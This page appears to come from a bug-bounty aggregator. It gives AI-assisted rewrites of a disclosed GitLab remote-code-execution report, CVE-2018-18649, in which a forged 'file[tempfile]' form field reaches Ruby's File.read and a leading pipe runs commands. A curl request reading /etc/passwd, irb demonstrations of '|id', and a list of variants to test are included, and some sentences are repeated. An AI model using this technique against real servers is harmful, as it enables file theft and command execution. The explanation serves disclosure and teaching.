Skip to content
RCE Write-up Advanced

Second bite on GitLab, and some interesting Ruby functions/features

GitLab's wiki attachment upload API validated the uploaded file only by checking that the submitted parameters contained a 'tempfile' key, so a crafted form field could point that key at an arbitrary server path. Because the file content was then read with a Ruby method that treats a leading pipe character as a shell command, an attacker could read files and run commands on the server.

Nyangawa Follow

Published on blog.nyangawa.me

Bounty$10,000 View original

It’s been a while since I wrote something in this blog last time. I just posted something about several bugs I found several months ago in GitHub Pages and GitHub Enterprise.

Li Rongxi, on blog.nyangawa.me

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

GitLab exposes a project wiki feature, and attachments for that wiki are uploaded through a Grape-based API endpoint. The endpoint declares a required file parameter of type: File, and the service behind it reads the uploaded content and stores it on a branch of the project's wiki repository. The bug described here, CVE-2018-18649, turns that upload path into an arbitrary file read, and then into remote command execution, because of how the file parameter is validated and how Ruby's File.read behaves when the path begins with a pipe character.

The author frames the finding around two Ruby features: duck typing as used by Grape's parameter validation, and inheritance between IO and File.

Setup

The report does not describe any account, role or tooling setup. The endpoint is authorised with authorize! :create_wiki, user_project, and the proof of concept is a single curl request against http://host:port. The proof of concept is a single curl request against http://host:port.

Finding it

The starting point is the Grape parameter declaration for the wiki attachment upload:

        params do
          requires :file, type: File, desc: 'The attachment file to be uploaded'
          optional :branch, type: String, desc: 'The name of the branch'
        end
        post ":id/wikis/attachments", requirements: API::PROJECT_ENDPOINT_REQUIREMENTS do
          authorize! :create_wiki, user_project

          result = ::Wikis::CreateAttachmentService.new(user_project,
                                                        current_user,
                                                        commit_params(declared_params(include_missing: false))).execute
        ...
        end

Normally Rack intercepts file uploads and populates params[key][:tempfile] with the temporary path of the uploaded file and params[key][:filename] with the original filename. GitLab then reads the temporary file and saves its content:

        def commit_params(attrs)
          {
            file_name: attrs[:file][:filename],
            file_content: File.read(attrs[:file][:tempfile]),
            branch_name: attrs[:branch]
          }
        end

The validation Grape applies for type: File is described in the report as a simple check:

        def value_coerced?(value)
          # Rack::Request creates a Hash with filename,
          # content type and an IO object. Do a bit of basic
          # duck-typing.
          value.is_a?(::Hash) && value.key?(:tempfile)
        end

The author notes that this is not really duck typing, but that the developer's comment shows duck typing was on their mind when the function was written. The weakness is that the presence of a :tempfile key in the params[:file] hash does not mean params[:file] is an uploaded file at all. Any hash with that key passes the check, and whatever value sits under :tempfile is later handed to File.read.

Exploitation

Step 1: pass the duck typing check with a crafted form body

Because the check only looks for the :tempfile key, a plain POST body can supply it directly:

Bash
curl -d "file[tempfile]=/etc/passwd&file[filename]=123" http://host:port

Here file[tempfile] sets the value that commit_params will pass to File.read, and file[filename] supplies the stored file name. The request passes the type: File validation, and the author summarises this as the bird passing inspection and telling us anything within a GitLab instance. The author summarises this as the bird passing inspection and telling us anything within a GitLab instance.

2018-12-12-CVE-2018-18649-Gitlab-RCE_1
2018-12-12-CVE-2018-18649-Gitlab-RCE_1 From the original on blog.nyangawa.me

Step 2: from file read to command execution

The second ingredient is Kernel#open. The report quotes its documentation:

Text
open(path [, mode [, perm]] [, opt]) → io or nil
...
If path starts with a pipe character ("|"), a subprocess is created, connected to the caller by a pair of pipes. The returned IO object may be used to write to the standard input and read from the standard output of this subprocess.

So a path beginning with | spawns a subprocess. The author demonstrates it in irb:

Text
irb(main):001:0> Kernel.open('|id').read
=> "uid=0(root) gid=0(root) groups=0(root)\n"
irb(main):002:0> open('|id').read
=> "uid=0(root) gid=0(root) groups=0(root)\n"

IO::read has the same behaviour, as its documentation in the report states:

Text
read(name, [length [, offset]] [, opt] ) → string
Opens the file, optionally seeks to the given offset, then returns length bytes (defaulting to the rest of the file). read ensures the file is closed before returning.

If name starts with a pipe character ("|"), a subprocess is created in the same way as Kernel#open, and its output is returned.

Which gives:

Text
irb(main):003:0> path = '|id'
=> "|id"
irb(main):004:0> IO.read path
=> "uid=0(root) gid=0(root) groups=0(root)\n"

The link to the upload bug is inheritance. Public methods of a parent class are inherited by a child class and can be used directly unless overridden, and in Ruby File is a child class of IO:

Text
irb(main):005:0> File.ancestors
=> [File, IO, File::Constants, Enumerable, Object, Kernel, BasicObject]

Therefore File.read inherits the pipe behaviour:

Text
irb(main):006:0> path = '|id'
=> "|id"
irb(main):007:0> File.read path
(irb):7: warning: IO.read called on File to invoke external command
=> "uid=0(root) gid=0(root) groups=0(root)\n"

The author states that at this point the arbitrary file read bug can be used directly to execute system commands remotely.

2018-12-12-CVE-2018-18649-Gitlab-RCE_2
2018-12-12-CVE-2018-18649-Gitlab-RCE_2 From the original on blog.nyangawa.me

Root cause

Two design decisions combine. First, the Grape validation for type: File only checks that the value is a hash containing a :tempfile key, so attacker-controlled form data can stand in for a real Rack upload and choose the path that is read. Second, Ruby's File.read is inherited from IO, and IO.read treats a leading | as a request to spawn a subprocess and return its output. The upload handler passes the attacker-chosen value straight to File.read, so the file read primitive becomes command execution.

The author notes that irb prints a warning, IO.read called on File to invoke external command, which suggests the Ruby developers know about this behaviour and are trying to raise awareness. In the author's view it would be better to avoid the behaviour entirely at the language implementation level, for example by overriding these methods in File.

Impact

The author states that the arbitrary file read bug can be used directly to execute system commands remotely. The report does not state which user role is required beyond the endpoint's authorize! :create_wiki check, nor which GitLab versions are affected.

Fix

GitLab released a patch on 29 October 2018 in the security release for GitLab 11.4.3. The author's broader suggestion is for Ruby to override the inherited IO methods in File so that File.read cannot spawn a subprocess.

Variants to test

  1. Look for Grape or similar parameter validation that checks only for the presence of a key such as :tempfile rather than the object type. A positive result is a request whose form body supplies file[tempfile] and file[filename] directly and is accepted as a valid file upload.
  2. Trace every value that reaches File.read, IO.read, Kernel#open or open from user input. A positive result is a response containing the output of a command when the value starts with |.
  3. Enumerate the methods File inherits from IO. The author lists the following intersection:
Text
pry(main)> (File.methods - File.methods(false)) & IO.methods(false)
=> [:console,
 :read,
 :sysopen,
 :for_fd,
 :popen,
 :foreach,
 :binread,
 :new,
 :binwrite,
 :write,
 :copy_stream,
 :select,
 :pipe,
 :open,
 :try_convert,
 :readlines]

Some of these behave like File.read with a leading pipe. A positive result is any of them being called on attacker-controlled input and returning subprocess output. 4. Test other upload endpoints that store a filename or path and later read it back, checking whether a leading | in the stored value is interpreted as a command when the file is read.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

GitLab is a website where teams keep their code and their documentation. One of its features is the project wiki: a set of pages attached to a project, a bit like a shared notebook. You can attach files to those wiki pages, and the attachment is uploaded through a small web address (an API endpoint) that the GitLab server listens on.

An API is simply a way for one program to talk to another over the web, instead of a person clicking buttons in a browser. When you upload a file through a web page, your browser sends the file to the server in a request. The server has to decide whether what arrived really is a file, and then it saves it.

In this case the server made two mistakes that, put together, let an attacker read files on the GitLab machine, and the author states this can be used to run commands on it. Running your own commands on someone else's server is called remote command execution, or RCE. The bug was tracked as CVE-2018-18649, and GitLab paid a 10,000 USD bounty for the report.

The author explains the two mistakes through two features of the Ruby programming language, which GitLab is written in: duck typing, and inheritance.

Ruby and GitLab

The author learned Ruby at university and came back to it while auditing the code of GitLab and other Ruby projects. Ruby is known for being very flexible, and that flexibility makes it pleasant to write, but it can also hide bugs that are hard to notice. The report walks through real snippets from GitLab to show this.

Duck Typing

There is an old saying: if it walks like a duck, swims like a duck, and quacks like a duck, then it probably is a duck. In programming, duck typing means you do not check what kind of thing an object officially is; you just check whether it has the features you need. If it has them, you treat it as the right kind of thing. The everyday comparison: a bouncer at a club who only checks that you are wearing a wristband will let you in, even if the wristband is one you made yourself at home.

GitLab builds its APIs with a Ruby library called Grape. Grape lets a developer describe, in advance, what a request must contain. Here is the description for the endpoint that uploads attachments to a project wiki:

Text
        params do
          requires :file, type: File, desc: 'The attachment file to be uploaded'
          optional :branch, type: String, desc: 'The name of the branch'
        end
        post ":id/wikis/attachments", requirements: API::PROJECT_ENDPOINT_REQUIREMENTS do
          authorize! :create_wiki, user_project

          result = ::Wikis::CreateAttachmentService.new(user_project,
                                                        current_user,
                                                        commit_params(declared_params(include_missing: false))).execute
        ...
        end

Line by line:

  1. params do starts the block where the expected request fields are declared.
  2. requires :file, type: File, desc: 'The attachment file to be uploaded' says the request must contain a field called file, that it should be a file, and gives a human description of it.
  3. optional :branch, type: String, desc: 'The name of the branch' says a field called branch may also be sent, as text.
  4. post ":id/wikis/attachments", ... defines the address that accepts uploads: a POST request (the kind used to send data) to a project's wiki attachments path, where :id stands for the project identifier.
  5. authorize! :create_wiki, user_project is the permission check: the person making the request must be allowed to create wiki content on that project.
  6. The result = ... lines hand the request data to a service object called Wikis::CreateAttachmentService, which does the actual saving.

Normally, a piece of Ruby software called Rack handles incoming file uploads. Rack takes the uploaded file, stores it in a temporary location on disk, and fills in two pieces of information: params[key][:tempfile], the path of that temporary file, and params[key][:filename], the original name of the file. GitLab then reads the temporary file and saves its contents:

Text
        def commit_params(attrs)
          {
            file_name: attrs[:file][:filename],
            file_content: File.read(attrs[:file][:tempfile]),
            branch_name: attrs[:branch]
          }
        end

Line by line:

  1. def commit_params(attrs) defines a function that takes the request data, here called attrs.
  2. file_name: attrs[:file][:filename] takes the original filename from the request.
  3. file_content: File.read(attrs[:file][:tempfile]) opens the temporary file and reads its whole content. This is the line that later becomes dangerous.
  4. branch_name: attrs[:branch] takes the optional branch name.
  5. The function returns these three values as a bundle, which the service then stores.

Grape's check for type: File is described in the report as a simple test:

Text
        def value_coerced?(value)
          # Rack::Request creates a Hash with filename,
          # content type and an IO object. Do a bit of basic
          # duck-typing.
          value.is_a?(::Hash) && value.key?(:tempfile)
        end

Line by line:

  1. def value_coerced?(value) defines a function that decides whether a submitted value is acceptable.
  2. The comment explains the developer's reasoning: Rack normally produces a bundle of data (a Hash, Ruby's name for a key-and-value collection) containing the filename, the content type and the file object, so the code does a bit of basic duck typing.
  3. value.is_a?(::Hash) checks that the value is a Hash.
  4. value.key?(:tempfile) checks that the Hash contains a key called tempfile.
  5. Both must be true for the value to be accepted.

The author points out that this is not really duck typing, but the developer's comment shows duck typing was on their mind. The problem is that having a tempfile key does not mean the value really is an uploaded file. Anyone can send a Hash with that key, and whatever sits under tempfile is later passed to File.read.

Exploitation

Step 1: pass the duck typing check with a crafted form body

Because the check only looks for the tempfile key, a plain POST body can supply it directly. The author sends this request:

Bash
curl -d "file[tempfile]=/etc/passwd&file[filename]=123" http://host:port

Line by line:

  1. curl is a command-line tool for sending web requests; it is used here to show exactly what is sent.
  2. -d means send the following text as the body of a POST request, in the same format a web form uses.
  3. file[tempfile]=/etc/passwd sets the tempfile value to /etc/passwd, a standard file on Linux that lists user accounts. This is the path GitLab will read.
  4. & separates the two form fields.
  5. file[filename]=123 supplies a name for the stored file.
  6. http://host:port is the address of the GitLab instance.

Why this works: the request never contains a real uploaded file. It contains a Hash with a tempfile key, which is all the validation asks for. The request passes the type: File check, and the author puts it as the bird passing inspection and telling us anything within a GitLab instance. The author puts it as the bird passing inspection and telling us anything within a GitLab instance.

2018-12-12-CVE-2018-18649-Gitlab-RCE_1
2018-12-12-CVE-2018-18649-Gitlab-RCE_1 From the original on blog.nyangawa.me

Step 2: from file read to command execution

The second ingredient is a Ruby function called Kernel#open. The report quotes its documentation:

Text
open(path [, mode [, perm]] [, opt]) → io or nil
...
If path starts with a pipe character ("|"), a subprocess is created, connected to the caller by a pair of pipes. The returned IO object may be used to write to the standard input and read from the standard output of this subprocess.

In plain words: open normally opens a file. But if the path you give it starts with the pipe character |, Ruby does something completely different: it starts a new program (a subprocess) and connects to it, so you can send it input and read its output. A pipe is the symbol used on the command line to connect one program's output to another program's input, like a plumbing pipe between two taps.

The author demonstrates it in irb, Ruby's interactive console where you type code and see the result immediately:

Text
irb(main):001:0> Kernel.open('|id').read
=> "uid=0(root) gid=0(root) groups=0(root)\n"
irb(main):002:0> open('|id').read
=> "uid=0(root) gid=0(root) groups=0(root)\n"

Line by line:

  1. Kernel.open('|id').read asks Ruby to open the string |id. Because it starts with |, Ruby runs the command id, which prints who the current user is, and .read returns that output.
  2. The result shows the command ran as the root user, the most powerful account on a Linux system.
  3. The second line does the same with open alone, because Kernel#open is available everywhere in Ruby.

IO::read behaves the same way, as its documentation in the report states:

Text
read(name, [length [, offset]] [, opt] ) → string
Opens the file, optionally seeks to the given offset, then returns length bytes (defaulting to the rest of the file). read ensures the file is closed before returning.

If name starts with a pipe character ("|"), a subprocess is created in the same way as Kernel#open, and its output is returned.

Which gives:

Text
irb(main):003:0> path = '|id'
=> "|id"
irb(main):004:0> IO.read path
=> "uid=0(root) gid=0(root) groups=0(root)\n"

Line by line:

  1. path = '|id' stores the string |id in a variable called path.
  2. IO.read path reads from that path. Because it starts with |, Ruby runs id and returns its output.

So where does inheritance come in? Inheritance is a way of organising code: one class (a blueprint for objects) can be built on top of another, called its parent. The child gets all the parent's public methods (its functions) for free, unless it replaces them with its own version. The everyday comparison: a junior employee inherits all the company's standard procedures and only writes new ones where the standard does not fit.

In Ruby, File is a child class of IO. The author checks this in irb:

Text
irb(main):005:0> File.ancestors
=> [File, IO, File::Constants, Enumerable, Object, Kernel, BasicObject]

Line by line:

  1. File.ancestors asks Ruby for the list of classes File is built on, from the closest to the most basic.
  2. The result shows File first, then IO, then a few more general building blocks. This confirms File inherits from IO.

Therefore File.read inherits the pipe behaviour:

Text
irb(main):006:0> path = '|id'
=> "|id"
irb(main):007:0> File.read path
(irb):7: warning: IO.read called on File to invoke external command
=> "uid=0(root) gid=0(root) groups=0(root)\n"

Line by line:

  1. path = '|id' stores the string again.
  2. File.read path looks like it should read a file, but because the string starts with |, Ruby runs id as a command and returns its output.
  3. Ruby prints a warning saying that IO.read was called on File to run an external command. The warning shows the language knows this is surprising.

Now the two pieces join up. In step 1 the attacker controls the value of file[tempfile], and the author states that at this point the arbitrary file read bug can be used directly to execute system commands remotely. The author states that at this point the arbitrary file read bug can be used directly to execute system commands remotely.

2018-12-12-CVE-2018-18649-Gitlab-RCE_2
2018-12-12-CVE-2018-18649-Gitlab-RCE_2 From the original on blog.nyangawa.me

Root cause

Two design decisions combine. First, the Grape validation for type: File only checks that the value is a Hash containing a tempfile key, so attacker-controlled form data can stand in for a real upload and choose the path that is read. Second, Ruby's File.read is inherited from IO, and IO.read treats a leading | as a request to start a subprocess and return its output. The upload handler passes the attacker-chosen value straight to File.read, so the file read becomes command execution.

The author notes that irb prints the warning IO.read called on File to invoke external command, which suggests the Ruby developers know about this behaviour and are trying to raise awareness. In the author's view it would be better to avoid the behaviour entirely at the language level, for example by overriding these methods in File.

Impact

The author states that the arbitrary file read bug can be used directly to execute system commands remotely. The report does not state which user role is required beyond the endpoint's authorize! :create_wiki check, nor which GitLab versions are affected.

Fix

GitLab released a patch on 29 October 2018 in the security release for GitLab 11.4.3. The report does not describe the code change itself. The author's broader suggestion is for Ruby to override the inherited IO methods in File so that File.read cannot start a subprocess.

Variants to test

  1. Look for Grape or similar parameter validation that checks only for the presence of a key such as tempfile rather than the object type. A positive result is a request whose form body supplies file[tempfile] and file[filename] directly and is accepted as a valid file upload.
  2. Trace every value that reaches File.read, IO.read, Kernel#open or open from user input. A positive result is a response containing the output of a command when the value starts with |.
  3. Enumerate the methods File inherits from IO. The author lists the following intersection:
Text
pry(main)> (File.methods - File.methods(false)) & IO.methods(false)
=> [:console,
 :read,
 :sysopen,
 :for_fd,
 :popen,
 :foreach,
 :binread,
 :new,
 :binwrite,
 :write,
 :copy_stream,
 :select,
 :pipe,
 :open,
 :try_convert,
 :readlines]

Line by line:

  1. pry(main)> is the prompt of Pry, another interactive Ruby console.
  2. File.methods - File.methods(false) takes all the methods File can use and removes the ones defined on File itself, leaving the inherited ones.
  3. & IO.methods(false) keeps only those that are also defined directly on IO.
  4. The result is the list of methods File gets from IO, including read, open, popen, foreach, binread and others.

Some of these behave like File.read with a leading pipe. A positive result is any of them being called on attacker-controlled input and returning subprocess output. 4. Test other upload endpoints that store a filename or path and later read it back, checking whether a leading | in the stored value is interpreted as a command when the file is read.

Timeline

GitLab's bug bounty program is described as very responsive and regularly updated to keep reporters in the loop.

Glossary

  • API: a way for one program to talk to another over the web, instead of a person clicking in a browser.
  • API endpoint: a specific web address on a server that accepts a particular kind of request.
  • Arbitrary file read: a bug that lets an attacker read any file on a server, not just the ones they should see.
  • Authorisation check: code that confirms the person making a request is allowed to do what they are asking.
  • Bounty: money paid by a company to someone who reports a security bug to it.
  • Branch: a separate line of work in a code repository, here used to store wiki content.
  • Child class: a class built on top of another class, inheriting its methods.
  • Class: a blueprint in object-oriented programming that describes what an object can do.
  • Command execution: running a program on a machine, here on the server rather than the attacker's own computer.
  • CVE: a public identifier given to a known security vulnerability so people can refer to it unambiguously.
  • curl: a command-line tool for sending web requests.
  • Duck typing: deciding what kind of thing an object is by checking the features it has, rather than its official type.
  • Form data: the key-and-value format a web form sends to a server.
  • Grape: a Ruby library for building APIs, including the rules about what a request must contain.
  • Hash: Ruby's name for a collection of key-and-value pairs.
  • Inheritance: the mechanism by which a child class gets the methods of its parent class for free.
  • IO: Ruby's class for input and output, including reading from files and running subprocesses.
  • irb: Ruby's interactive console, where you type code and see the result immediately.
  • Kernel#open: a Ruby function that opens a file, or starts a subprocess if the path begins with |.
  • Method: a function attached to a class or object.
  • Parent class: the class a child class inherits from.
  • Pipe (|): a character that, at the start of a path in Ruby, tells the language to run a subprocess instead of opening a file.
  • POST request: the kind of web request used to send data to a server.
  • Pry: an interactive Ruby console, an alternative to irb.
  • Rack: a piece of Ruby software that handles incoming web requests, including file uploads.
  • RCE (remote command execution): running your own commands on someone else's server over the network.
  • Root: the most powerful user account on a Linux system.
  • Subprocess: a separate program started by another program.
  • Temporary file: a file a server writes to disk while handling an upload, usually deleted afterwards.
  • Validation: checking that incoming data matches what was expected before using it.
  • Wiki: a set of linked pages attached to a project, used for documentation.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.